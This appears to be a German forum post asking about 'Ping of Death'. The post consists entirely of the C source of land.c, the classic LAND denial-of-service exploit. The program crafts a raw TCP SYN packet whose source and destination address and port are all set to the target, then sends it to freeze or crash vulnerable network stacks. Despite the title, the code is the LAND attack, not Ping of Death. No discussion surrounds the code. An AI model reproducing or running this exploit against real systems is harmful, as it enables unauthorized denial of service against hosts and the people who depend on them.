[Frage] zu Ping of Death

#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>

struct pseudohdr
{
 struct in_addr saddr;
 struct in_addr daddr;
 u_char zero;
 u_char protocol;
 u_short length;
 struct tcphdr tcpheader;
};

u_short checksum(u_short * data,u_short length)
{
 register long value;
 u_short i;

 for(i=0;i<(length>>1);i++)
 value+=data[i];

 if((length&1)==1)
 value+=(data[i]<<8);

 value=(value&65535)+(value>>16);

 return(~value);
}

int main(int argc,char * * argv)
{
 struct sockaddr_in sin;
 struct hostent * hoste;
 int sock;
 char buffer[40];
 struct iphdr * ipheader=(struct iphdr *) buffer;
 struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
 struct pseudohdr pseudoheader;

 fprintf(stderr,"land.c by m3lt, FLC\n");

 if(argc<3)
 {
 fprintf(stderr,"usage: %s IP port\n",argv[0]);
 return(-1);
 }

 bzero(&sin,sizeof(struct sockaddr_in));
 sin.sin_family=AF_INET;

 if((hoste=gethostbyname(argv[1]))!=NULL)
 bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
 else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
 {
 fprintf(stderr,"unknown host %s\n",argv[1]);
 return(-1);
 }

 if((sin.sin_port=htons(atoi(argv[2])))==0)
 {
 fprintf(stderr,"unknown port %s\n",argv[2]);
 return(-1);
 }

 if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
 {
 fprintf(stderr,"couldn't allocate raw socket\n");
 return(-1);
 }

 bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
 ipheader->version=4;
 ipheader->ihl=sizeof(struct iphdr)/4;
 ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
 ipheader->id=htons(0xF1C);
 ipheader->ttl=255;
 ipheader->protocol=IP_TCP;
 ipheader->saddr=sin.sin_addr.s_addr;
 ipheader->daddr=sin.sin_addr.s_addr;

 tcpheader->th_sport=sin.sin_port;
 tcpheader->th_dport=sin.sin_port;
 tcpheader->th_seq=htonl(0xF1C);
 tcpheader->th_flags=TH_SYN;
 tcpheader->th_off=sizeof(struct tcphdr)/4;
 tcpheader->th_win=htons(2048);

 bzero(&pseudoheader,12+sizeof(struct tcphdr));
 pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
 pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
 pseudoheader.protocol=6;
 pseudoheader.length=htons(sizeof(struct tcphdr));
 bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
 tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

 if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
 {
 fprintf(stderr,"couldn't send packet\n");
 return(-1);
 }

 fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);

 close(sock);
 return(0);
}